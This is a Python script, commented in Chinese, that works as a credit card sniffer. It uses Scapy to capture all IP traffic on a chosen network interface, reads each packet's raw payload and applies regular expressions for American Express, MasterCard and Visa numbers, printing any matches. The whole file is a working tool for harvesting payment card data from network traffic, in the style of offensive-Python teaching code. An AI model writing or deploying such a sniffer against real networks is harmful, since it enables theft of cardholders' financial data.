import re import argparse from scapy.all import * # findCreditCard函数用于在捕获的网络数据包中查找信用卡卡号信息 def findCreditCard(pkt): try: # 打印提示信息,表示开始处理一个数据包 print("开始处理数据包...") # 使用Scapy的sprintf函数,按照指定格式'%Raw.load%'获取数据包的原始负载内容 # 这个原始负载包含了网络应用层传输的数据,比如HTTP请求中的数据等,我们后续就在这里面查找信用卡卡号信息 raw = pkt.sprintf('%Raw.load%') # 打印获取到的数据包原始负载内容,方便查看和调试,查看实际捕获到的数据情况 print("已获取数据包原始负载,内容如下:", raw) # 使用正则表达式查找符合美国运通卡卡号格式的字符串 # 美国运通卡卡号格式通常是以34或37开头,后面跟着13位数字,中间有空格分隔 americaRE = re.findall('3[47] [0-9]{13}', raw) # 打印美国运通卡卡号匹配结果,查看是否找到了相应格式的字符串,这里打印的是匹配到的所有结果列表 print("美国运通卡卡号匹配结果:", americaRE) # 使用正则表达式查找符合万事达卡卡号格式的字符串 # 万事达卡卡号格式是以51到55开头,后面跟着14位数字 masterRE = re.findall('5[1-5][0-9]{14}', raw) # 打印万事达卡卡号匹配结果,展示匹配到的所有结果列表 print("万事达卡卡号匹配结果:", masterRE) # 使用正则表达式查找符合维萨卡卡号格式的字符串 # 维萨卡卡号格式是以4开头,后面跟着12位数字,可选跟着3位数字,可能有空格等情况 visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) # 打印维萨卡卡号匹配结果,呈现匹配到的所有结果列表 print("维萨卡卡号匹配结果:", visaRE) # 如果美国运通卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现美国运通卡的提示信息以及卡号 if americaRE: print('[+] Found American Express Card:'+ americaRE[0]) # 如果万事达卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现万事达卡的提示信息以及卡号 if masterRE: print('[+] Found MasterCard Card:'+ masterRE[0]) # 如果维萨卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现维萨卡的提示信息以及卡号 if visaRE: print('[+] Found visa Card:'+ visaRE[0]) except Exception as e: # 如果在处理数据包过程中出现任何异常,打印异常提示信息以及具体的异常内容,方便排查问题 print("处理数据包时出现异常!具体异常信息:", str(e)) pass def main(): # 创建一个argparse.ArgumentParser对象,用于解析命令行参数,description参数用于描述程序的功能 parser = argparse.ArgumentParser(description='Credit Card Sniffer') # 添加一个命令行参数'-i',指定其目标属性名为'interface',类型为字符串,用于接收要监听的网络接口名称 # help参数用于提供该参数的帮助信息,提示用户如何使用这个参数 parser.add_argument('-i', dest='interface', type=str, help='specify interface to listen on') # 解析命令行传入的参数,返回包含解析结果的命名空间对象(options)和剩余未解析的参数列表(args) options = parser.parse_args() # 如果没有通过命令行传入'-i'参数指定要监听的网络接口(即options.interface为None) if not options.interface: # 打印帮助信息,展示程序的使用方法和参数说明,方便用户了解如何正确运行程序 parser.print_help() # 正常退出程序,退出代码为0,表示正常结束 exit(0) else: # 如果传入了'-i'参数指定了网络接口,将Scapy的conf.iface设置为指定的接口名称 # 这样后续Scapy进行数据包捕获等操作就会在这个指定的网络接口上进行 conf.iface = options.interface try: # 打印提示信息,表示开始启动信用卡嗅探器,让用户知道程序已经开始工作了 print('[*] Starting Credit Card Sniffer.') # 使用Scapy的sniff函数开始捕获网络数据包 # filter='ip'表示捕获所有基于IP协议的数据包(包含TCP、UDP等常见协议的数据包了,之前修改为这个更通用的过滤条件来验证程序是否正常工作) # prn参数指定一个回调函数,这里是findCreditCard函数,意味着每捕获到一个数据包就会调用这个函数进行处理 # store=0表示不存储捕获的数据包,这样可以节省内存,因为重点是提取信息而非保存数据包本身 sniff(filter='ip', prn=findCreditCard, store=0) except KeyboardInterrupt: # 如果用户按下Ctrl+C,触发KeyboardInterrupt异常,程序捕获到这个异常后正常退出,退出代码为0 exit(0) if __name__ == '__main__': # 当脚本直接运行时(而不是作为模块被导入时),调用main函数启动整个程序 main()